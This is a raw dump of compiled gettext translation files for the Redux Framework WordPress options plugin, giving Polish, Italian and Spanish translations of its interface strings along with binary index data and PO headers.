Instance: Redux VersionRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemote GetRemote PostRemoveRepoReset AllReset SectionRightSUHOSIN InstalledSave ChangesSection Defaults Restored!Select Support TypeSelect Your Support TypeSelect an itemServer EnvironmentServer InfoSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSite URLSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe URL of your site's homepage.The default timezone for your server.The following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe root URL of your site.The theme developers URL.The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"The version of Redux Framework installed on your site.ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnable to modify required files. Please ensure thatUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!WP Memory LimitWP VersionWant to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat type of user are you?What's NewWidthWord SpacingWordPress EnvironmentWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkis availableleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Michal Holyszko Language-Team: Polish (Poland) (http://www.transifex.com/projects/p/redux-framework/language/pl_PL/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: pl_PL Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Aktywuj tryb DemoAktywuj Wtyczki TworzeniaAktywnyAktywne WtyczkiDodaj %sDodajDodaj/Edytuj GalerięWszystkoWszystkie domyślne wartości zostały przywrócone!Zezwól na śledzenieJesteś pewien? Utracisz wszystkie własne ustawienia.Jesteś pewien? Utracisz wszystkie własne ustawienia tej sekcji.Jesteś pewien? Utracisz wszystkie własne ustawienia.URL AutoraWykonana automatyczna czynność: "%s"Zaczepienie tłaObcięcie TłaPoczątek TłaPozycja tłaPowtarzanie tłaRozmiar tłaZapasowy Krój CzcionkiStyl obramowaniaDółPrzeglądarkaInformacje o PrzeglądarceLista zmianPokrewny MotywWyczyść galerięKliknij tutal aby aktywować przykładowy plik konfiguracji.ZamknijSkopiowany!Kopiuj DaneKopiuj URL EksportuKopia dla WsparciaPodziękowaniaPrefiks Tabeli Bazy DanychWyłącz tryb DemoDezaktywuj Wtyczki TworzeniaDomyślnyDomyślną Strefą Czasową jest UTCDomyślną strefą czasową jest %s - powinna być UTCUsuńOpisProgramistaWłączony Tryb TwórcyCzy wiedziałeś, że mamy rozszerzenia, które znacznie zwiększają możliwości Redux? Odwiedź nasz %1$s, aby dowiedzieć się więcej!WyłączUkryjWyłącz śledzenieDokumentyPobierz Plik DanychAdres e-mailWłączBłąd: %sRozwińEksportuj opcjeDodatkiKolor czcionkiKrój CzcionkiRozmiar CzcionkiPodzbiory czcionkiWariant CzcionkiGrubość Czcionki & StylKolorKrój czcionkiSkrypt czcionkiStyl czcionkiZbiór znakówOdStrona głównaWygeneruj URL WsparciaUzyskaj WsparcieNa PoczątekGoogle WebfontsWysokośćPomóż udoskonalić Nasz PanelTutaj możej skopiować/pobrać aktualne ustawienia. Zachowaj je, możesz ich użyć jako kopii zapasowej w przypadku awarii, przywrócić na tej lub innej witrynie.WskazówkiWskazówki są podpowiedziami, które wyskakują gdy %d ikonę podpowiedzi, oferując dodatowe informacje o polu w którym się pojawiają. Mogą być &d poprzez użycie poniższego odsyłacza.URL DomowyHoverJak Uzyskać WsparcieJeśli tak, prosimy %1$s i rozważenie zrobienia %2$s, aby utrzymać postęp rozwoju Redux.Jeśli chciałbyś być na bieżąco w sprawach związanych z Redux, prosimy zapisz się na nasz biuletynImportImport / EksportImportuj opcjeImportuj z PlikuImportuj z adresu URLWpisz adres URL do innej strony opcji, z której chcesz zaimportować ustawienia.Wstaw poniżej zawartość pliku kopii i kliknij Import aby załadować opcję.JęzykCzytaj więcejLewoOdstępy pomiędzy znakamiLubisz Redux?Wysokość LiniiMusisz wywołać po akcji "plugins_loaded".Wersja MySQLImięNowy %sBiuletynNie znaleziono żadnego objektu tego typu.Nie wybrano plikuWył.Wł.OpcjeObjekt opcjiPanel opcji stworzony za pomocą %1$sLimit Pamięci PHPLimit Czasu PHPWersja PHPHasłoProszę czekaćProsimy, pomóż nam udoskonalić nasz panel poprzez zezwolenie nam na gromadzenie anonimowych statystyk używania, abyśmy wiedzieli jakie konfiguracje, wtyczki i motywy testować w celu zapewnienia kompatybilnościStrona PostówRozszerzenia ReduxRedux FrameworkRedux Framework - WsparcieRedux Framework - Status SystemuLista Zmian Redux FrameworkRedux Framework zawiera wbudowane demo.Generator ReduxInstancja Redux:Wersja ReduxRedux jest prostym, prawdziwie rozszerzalnym frameworkiem dla motywów i wtyczek WordPress'a.ZwykłyZdalne PobieranieZdalny WpisUsuńRepozytoriumResetuj WszystkoResetuj SekcjęPrawoSUHOSIN ZainstalowanyZapisz ZmianyDomyślne wartości sekcji zostały przywrócone!Wybierz Typ WsparciaWybierz Swój Typ WsparciaWybierz elementŚrodowisko SerweraInformacje o SerwerzeZaimportowano ustawienia.Ustawienia zostały zapisane!Ustawienia zostały zmienione, powinieneś je zapisać!Pokaż Objekt w konsoli JavascriptURL StronyRozmiarSlajdStandardowe czcionkiStatusStylSubskrybujPodzbioryWsparcieInformacje systemoweZespół ReduxWyrównanie TekstuOzdobienie TekstuPrzekształcenie TekstuURL strony domowej twojej witrynyDomyślna strefa czasowa dla twojego serwera Następujące katalogi i pliki są nadal zlokalizowane w Twoim katalogu Redux. Mogą one powodować błędy w Theme-Check.Ludzie, którzy tworzą Redux FrameworkBazowy URL twojej stronyURL deweloperów motywuMotyw, który testujesz posiada wbudowany %s. Zapraszamy Cię do przeczytania %sDokumentacji Theme-Check%s, aby zrozumieć niektóre ostrzeżenia, które zobaczysz z powodu Redux.Nieznana czynność została zastąpiona przez "%s"Wersja Redux Framework zainstalowanego na twojej stronie.MotywTo pole nie może być puste. Proszę podać wartość.To pole wymaga poprawnej wartości koloru.To pole musi zawierać poprawną datę.Ten panel demonstruje wiele cech Redux. Przed zgłębianiem tematu sugerujemy, abyś wzmożył tempo poprzez przejrzenie %1$s.TytułDoGóraPrzezroczysty URLNie udało się zmodyfikować wymaganych plików. Upewnij się, proszę, żeJednostkiNieznana czynność "%1$s" określona do %2$sZaładuj plikUżytkownikNazwa użytkownikaWersjaWersja %sZobacz %sOdwiedź stronę domową wtyczkiVisitedUWAGA! Wszystkie opcję zostaną nadpisane.Limit Pamięci WPWersja WPChcesz zyskać przewagę? Użyj %1$s. Utworzy dostosowany uniwersalny motyw lub samodzielny folder administracyjny wypełniony wszystkim co stanowi Redux (z pomocą Underscores i TGM). Oszczędź sobie bólu głowy i wypróbuj go już dzisiaj.Uwaga - Ten panel może nie działać prawidłowo bez włączonej obsługi Javascript!Witaj w Redux FrameworkWitaj w Redux Framework %sWitaj w Panelu Demonstracyjnym ReduxJakiego rodzaju użytkownikiem jesteś?Co NowegoSzerokośćOdstępy pomiędzy słowamiŚrodowisko WordPressCzekaj...Nie posiadasz wystarczających uprawnień, by wejść na tę stronę.Posiadasz zmiany, które nie są zapisane. Czy chciałbyś je teraz zapisać?Dokonane zmiany nie zostały jeszcze zapisane? Czy chcesz je zachować?Nie możesz wpisać kodu HTML do tego pola. Wszelkie znaczniki HTML zostaną usunięte.Nie możesz wpisać żadnych specjalnych znaków do tego pola. Wszystkie specjalne znaki zostaną usunięte.Dla tej opcji musisz podać listę wartości numerycznych oddzielonych przecinkami.Muisz podać wartość numeryczną dla tej opcji.Musisz podać poprawny URL.Musisz podać poprawny adres email.Twoje aktualne opcje zostaną zastąpione tymi ustawieniami. Czy chcesz kontynuować?Twoje aktualne ustawienia zostaną zastąpione tym zestawem opcji. Czy chcesz kontynuować?klikaniedotacjabłąd/błędów został(o) znaleziony(ch)!katalog rozszerzeńposiada odpowiednie uprawnienia odczytu/zapisu lub wprowadź poniżej swoje dane FTPhttp://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkjest dostępnyzostaw nam przychylną recenzję na WordPress.orgprzesuwanie myszą nadnasza dokumentacjaostrzeżenie/ostrzeżeń został(o) znalezione/znalezionych!lib/redux-framework/languages/redux-framework-it_IT.mo000064400000035667147206624460017123 0ustar00| hi|5D!4f  %5 HU\ d n.|) & 2<lS   ! , 8 B O\ t     ZUM]X7  2  !6HLOW f  %    *ETg,w(   #.>.M|3' yy (  UjFO   ;FTEKb-L3- /? ao ` 2!;!P!Je! !,!!!i"}%%% %%%%'%&B7&Mz&M& ' !'B' U'c'r'''' ''' ''=(E(L(T(r( (6(( ( (() ))) ))) )) **(*;*P*k*~********+ +,+?+'G+o+ ,,,^,g-----c-h.....4.. // //"/R/k/r/y// //// /// 000'0$151 =1G1 L1Z1j1q11-11111 2$;2`2 i2t2 {222 2 22222223:3C?343)33g4n4p4 u444.44 4 44 4 445l%55Th666,6'7 :7D7 V74c7=7=7Y8jn8Z8<497q9C9`9gN: :::Y:H;3W;;;2& R-Y_ lA7:qQU|d6~?+(^}O$sXzHv%ijxLc\a4'I`nCVZGt8u[@NrKh5<kpM)#SD30=*y PomF,fJ;{/T9b" ]1g>.!EewWBActivate Demo ModeActivate Development PluginsActiveAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Author URLAutomatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDefault timezone is %s - it should be UTCDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingDocsEmail addressEnableExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGet System ReportGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHome URLHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.MySQL VersionNameNew %sNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP Max Input VarsPHP Post Max SizePHP Time LimitPHP VersionPasswordPlease WaitPlease helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.Redux ExtensionsRedux FrameworkRedux Framework has an embedded demo.Redux GeneratorRegularRemoveRepoReset AllReset SectionRightSUHOSIN InstalledSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSite URLSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoText AlignText DecorationText TransformThe unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?donationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.is availableleave us a favorable review on WordPress.orgour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Italian (Italy) (http://www.transifex.com/projects/p/redux-framework/language/it_IT/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: it_IT Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Attivare la modalità DemoAttiva Plugin di SviluppoAttivoAggiungi %sAggiungi altroAggiungi / Modifica GalleriaTuttiTutti i valori di default ripristinati!Permetti tracciabilitàSei sicuro ? Resettare eliminerà tutte le impostazioni personali.Sei sicuro ? Resettare eliminerà tutti i valori personali in questa sezione.Sei sicuro ? Resettare eliminerà tutti i valori personali che hai impostato.URL autoreAzione automatica eseguita: "%s"Fisso o scorrevoleTaglio SfondoOrigine SfondoPosizione dello sfondoRipetizione dello sfondoDimensione SfondoFamiglia carattere di BackupStile bordoBassoBrowserChangelogCancella GalleriaClicca qui per attivare il file di configurazione di esempio.ChiudiCreditsDisattivare la Modalità DemoDisattiva Plugin di SviluppoPredefinitoIl fuso orario predefinito è %s - dovrebbe essere UTCCancellaDescrizioneSviluppatoreModalità sviluppatore attivaSapevi che abbiamo delle estensioni che possono migliorare le potenzialità di Redux? Visita il nostro %1$s per saperne di più!DisabilitaRimuoviNon permettere tracciabilitàDocumentiIndirizzo EmailAbilitaEspandereEsporta OpzioniEstensioniColore carattereFamiglia carattereDimensione carattereSottoinsiemi del carattereVariante caratterePeso e Stile carattereColore carattereFamiglia di caratteriScript di fontStile carattereSottoinsiemi carattereDaPagina inizialeGenera report di sistemaCome iniziareWebFonts di GoogleAltezzaAiutaci a migliorare il nostro PannelloQui è possibile copiare / scaricare le impostazioni delle opzioni correnti. Tenetele al sicuro poichè le si può utilizzare come backup se qualcosa dovesse andare storto, oppure lo si può utilizzare per ripristinare le impostazioni su questo sito (o di qualsiasi altro sito).SuggerimentiURL HomeHover (al passaggio del mouse)Se è così, per favore %$1$s e considera di fare una %2$s per sostenere lo sviluppo di Redux.Se vuoi essere aggiornato su tutto ciò che riguarda Redux, per favore iscriviti alla nostra newsletterImportaImporta / EsportaImporta OpzioniImporta da URLInserire l'URL delle opzioni di un altro sito e premi Importa per caricare le opzioni da quel sito.Inserisci il file di backup qui sotto e premi Importa per ripristinare le opzioni del sito da un backup.SinistraSpaziatura lettereTi piace Redux?Altezza di lineaDeve essere chiamata dopo la action "plugins_loaded"Versione MySQLNomeNuovo %sNewsletterNon sono stati trovati elementi di questo tipo.Nessun media selezionatoSpentoAccesoOpzioniOggetto OpzioniPannello opzioni creato con %1$sPHP Max Input VarsPHP Post Max SizePHP Time LimitVersione PHPPasswordAttendere PregoPer favore aiutaci a migliorare il nostro pannello permettendoci di raccogliere statistiche anonime sull'uso in modo da sapere quali configurazioni, plugin e temi testare per garantire la compatibilità.Estensioni di ReduxRedux FrameworkRedux Framework ha un demo incorporato.Generatore ReduxNormaleRimuovereRepoResetta tuttoResetta sezioneDestraSUHOSIN installatoSalva ImpostazioniValori di default della sezione ripristinati!Seleziona un elementoImpostazioni importate!Impostazioni salvate!Le impostazioni sono cambiate, dovresti salvarle!Mostra oggetti in Javascript ConsoleURL sitoDimensioneScorriFont standardStatoStileIscrivitiSottoinsiemiSupportoInformazioni di sistemaAllineamento TestoDecorazione testoTrasformazione TestoL'azione sconosciuta è stata rimpiazzata con "%s"TemaQuesto campo non può essere vuoto. Per favore inserisci un valore.Questo campo deve essere un valore di colore valido.Questo campo deve essere una data valida.Questo pannello dimostra le tante funzionalità di Redux. Prima di approfondire, suggeriamo di prendere confidenza esaminando %1$s. TitoloAAltoTrasparenteURLUnitàAzione sconosciuta "%1$s" specificata per %2$sCaricaUtilizzatoreNome utenteVersioneVersione %sVisualizza %sVisita la homepage del pluginVisitatoATTENZIONE! Questo sovrascriverà tutti i valori delle opzioni esistenti, si prega di procedere con cautela!Vuoi un vantaggio iniziale? Usa %1$s. Creerà un tema boilerplate o una cartella di amministrazione con tutto ciò che riguarda Redux (con l'aiuto di Underscores e TGM). Risparmiati un mal di testa e provalo oggi.Attenzione - Questo pannello opzioni non funzionerà correttamente senza javascript!Benvenuti in Redux FrameworkBenvenuto in Redux Framework %sBenvenuti nel pannello dimostrativo di ReduxCosa c'è di nuovoLarghezzaSpaziatura parolaLavorando...Devi farti autorizzare per accedere a questa pagina.Ci sono delle modifiche non ancora salvate. Salvarle adesso ?Ci sono delle modifiche non ancora salvate. Salvarle adesso ?Non devi inserire alcun codice HTML in questo campo, tutti i tag HTML sono stati rimossi.Non devi inserire alcun carattere speciale in questo campo, tutti i caratteri speciali sono stati rimossi.Per questa opzione è necessario fornire un elenco di valori numerici separato da virgole.È necessario fornire un valore numerico per questa opzione.È necessario fornire un URL valido per questa opzione.È necessario fornire un indirizzo email valido per questa opzione.Le tue impostazioni saranno sostituite con i valori di questa pre-impostazione. Vuoi procedere ?Le tue personalizzazioni saranno sovrascritte con i valori di questa pre-impostazione. Vuoi Procedere ?donazioneerrore(i) trovati!directory delle estensioniabbia i permessi di lettura/scrittura adeguati o inserisci le tue informazioni FTP sotto.è disponibilelasciaci una recensione favorevole su WordPress.orgla nostra documentazioneavviso(i) trovati!lib/redux-framework/languages/redux-framework-es_ES.mo000064400000045561147206624460017103 0ustar00K\ 5DP4 #3 FSZ b o y . .MU)m 9  +0 CQ Xbi x           ."Q ht1'*9JEZ-]X,1     +07 K!Vx  !-6 J Var%&L\ mW{    $ ? S l {   , ( !!!!'!6!=!C! \!f!n! v! ! !!! !{!%T"7z"I"F"'C#k#6#4#0#"$=($3f$'$ $$$$ $$3%5%;%B%G%P% X%c%k%%U% %% % &F&\&w&&&& &4&)' /'<' R';]'F'E'K&(br(L(3")-V)/)a)`**w******J*9+,S+ +,++++V+P/n/// / ///./0I0Zf0H0 11*1;1O1e1+w111 111 11F2V2 ]2 h2u22 2$2 2 23"'34J33 373 33 3 44 &414L4`4 h4r4{4 44444455-5B5Q5e5|555555556 6,67 $72787<N7.777778D81_8r89299 9 999::#:3:B:I:R:i:.~::: :::$:;#;6;P;b; q; ~;!;;;;;$;<9<$S<x<<4<<<=g=|== ========%>A>_>w>>>>0>5? 8?F?N?W?i?p?w? ? ??? ???@+@vC@+@A@L(ACuA'A'A. B,8B/eBBBB@B.C%MCsC{CC CCGCCCCCC DDD5Di>D DD D DOD9EVE)vEEEE-EF"F9F KF:YF;F;FQ Gn^GXG7&H?^HCHjHjMI+III IIJf2JJ,JJ.J K;KRK}$ <)+^xW&v!0LZOpJ"Fu7s ('YcC-*Sj;oUfK>N8/B@2,wDE A6#Q`k=n4]95q1:lmreG. hgHdtM _zybRXa[{\ ~%P|TV3?iIActivate Demo ModeActivate Development PluginsActiveActive PluginsAdd %sAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Author URLBackground AttachmentBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomBrowserBrowser InfoChangelogChild ThemeClear GalleryClick here to activate the sample config file.CloseCopied!Copy DataCopy Export URLCopy for SupportCreditsDatabase Table PrefixDeactivate Demo ModeDeactivate Development PluginsDefaultDefault Timezone is UTCDefault timezone is %s - it should be UTCDeleteDescriptionDetermines if PHP will display errors within the browser.DeveloperDeveloper Mode EnabledDisableDismissDo not allow trackingDocsDownload Data FileEmail addressEnableError: %sExpandExport OptionsExtensionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Front PageGenerate a Support URLGenerate a Support URLGet SupportGet System ReportGetting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHome URLHoverHow to Get SupportI am a developer, building a product using Redux.I am a user, using a pre-built product.ImportImport / ExportImport OptionsImport from FileImport from URLInformation about the web server that is currently hosting your site.Information about web browser current in use.Input the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.Is the server running in a localhost environment.LanguageLearn MoreLeftLetter SpacingLike Redux?Line HeightLocalhost EnvironmentMax Upload SizeMySQL VersionNameNew %sNew in this ReleaseNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPHP Display ErrorsPHP Max Input VarsPHP Memory LimitPHP Post Max SizePHP Time LimitPHP VersionPasswordPermalink StructurePlease WaitPosts PageRedux ExtensionsRedux FrameworkRedux Framework - ChangelogRedux Framework - ExtensionsRedux Framework - SupportRedux Framework - System StatusRedux Framework ChangelogRedux Framework StatusRedux Framework has an embedded demo.Redux GeneratorRedux Instance: Redux VersionRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSUHOSIN InstalledSave ChangesSection Defaults Restored!Select Support TypeSelect Your Support TypeSelect an itemServer EnvironmentServer InfoSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSite URLSizeSlideStandard FontsStatusStyleSubmit a Support RequestSubscribeSubsetsSupportSystem InfoTeam ReduxText AlignText DecorationText TransformThe URL of your site's homepage.The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)The default timezone for your server.The largest filesize that can be contained in one post.The largest filesize that can be uploaded to your WordPress installation.The maximum amount of memory (RAM) that your site can use at one time.The people that develop Redux FrameworkThe theme developers URL.The version of MySQL installed on your hosting server.The version of PHP installed on your hosting server.The version of WordPress installed on your site.ThemeThere was an error saving. Here is the result of your action:This field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.TitleTo TopTransparentURLUnable to modify required files. Please ensure thatUnitsUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!WP Debug ModeWP Memory LimitWP MultisiteWP VersionWarning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to Redux Framework %sWelcome to the Redux Demo PanelWhat is Redux Framework?What type of user are you?What's NewWhether or not you have WordPress Multisite enabled.WidthWord SpacingWordPress EnvironmentWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?Your panel has no fields. Nothing to save.by authorby %sclickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkis availableleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Diego R Language-Team: Spanish (Spain) (http://www.transifex.com/projects/p/redux-framework/language/es_ES/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: es_ES Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes Activar Modo de DemostraciónActivar Plugins de DesarrolloActivoPlugins ActivosAñadir %sAñadir MásAñadir/Editar GaleríaTodoRestaurados todos los valores predeterminados!Permitir seguimiento¿Está seguro? Al restablecer perderá todos los valores personalizados.¿Está seguro? Al restablecer perderá todos los valores personalizados de esta sección.¿Está seguro? Al restablecer perdera todos los valores personalizados.URL del AutorAdjunto del fondoOrigen del fondoPosición del fondoRepetición del fondoTamaño del fondoCopiad de seguridad de la Familia de FuenteEstilo del bordeAbajoNavegadorInformación del NavegadorInforme de cambiosChild ThemeLimpiar GaleríaHaga click aquí para activar el archivo de configuración de ejemplo.Cerrar¡Copiado!Copiar DatosCopiar URL de ExportaciónCopiar para el SoporteCréditosPrefijo de Tabla de la Base de DatosDesactivar Modo de DemostraciónDesactivar Plugins de DesarrolloPredeterminadoLa Zona Horaria por defecto es UTCLa Zona Horaria por defecto es %s - Debería ser UTCEliminarDescripciónDetermina si PHP puede mostrar errores en el navegador.DesarrolladorModo Desarrollador HabilitadoDesactivarDescartarNo permitir seguimientoDocumentosDescargar Archivo de DatosDirección de emailActivarError: %sExpandirOpciones de ExportaciónExtensionesColor de fuenteFamilia de fuenteTamaño de fuenteSubconjuntos de fuentesVariaciones de FuentePeso y estilo de fuenteColor de la fuenteFamilia de la fuenteFuentes scriptEstilo de la FuenteSubconjuntos de FuenteDePágina PrincipalGenerar URL de SoporteGenerar URL de SoporteObtener soporteObtener Reporte del SistemaComenzarGoogle WebfontsAlturaAyudenos a mejorar Nuestro PanelAquí puede copiar / descargar sus ajustes de opciones. Mantenga esto seguro, ya que se puede utilizar como una copia de seguridad si algo va mal, o puede utilizarlo para restaurar la configuración en este sitio (o cualquier otro sitio).ConsejosURL de InicioSobreCómo obtener SoporteSoy un desarrollador, construyendo un producto usando Redux.Soy un usuario, usando un producto programado.ImportarImportar / ExportarOpciones de ImportaciónImportar desde archivoImportar desde URLInformación sobre el servidor web en el que está alojado tu sitio.Información del navegador web usado actualmente.Introduzca la URL del conjunto de opciones de otro sitio y pulse Importar para cargar las opciones de dicho sitio.Introduzca su archivo de copia de seguridad debajo y pulse Importar para restaurar las opciones del sitio desde una copia de seguridad.El servidor está funcionando en un entorno local.IdiomaSaber MásIzquierdaEspacio entre letras¿Te gusta Redux?Alto de líneaEntorno LocalhostMax Upload SizeVersión MySQLNombreNuevo %sNuevo en esta versiónBoletín informativoNo se encontró ningún elemento de este tipo.Nada seleccionadoApagadoEncendidoOpcionesObjeto OpcionesPanel de opciones creado usando %1$sMostrar errores PHPPHP Max Input VarsLímite de memoria de PHPPHP Post Max SizePHP Time LimitVersión PHPContraseñaEstructura de Enlaces PermanentesEspere por favorPágina de entradasExtensiones de ReduxRedux FrameworkRedux Framework - Informe de cambiosRedux Framework - ExtensionesRedux Framework - SoporteRedux Framework - Estado del SistemaChangelog de Redux FrameworkEstado de Redux FrameworkRedux Framework tiene una demostración incorporada.Generador ReduxInstancia Redux:Versión ReduxRedux es un framework de opciones simple y realmente extensible para plantillas y plugins de 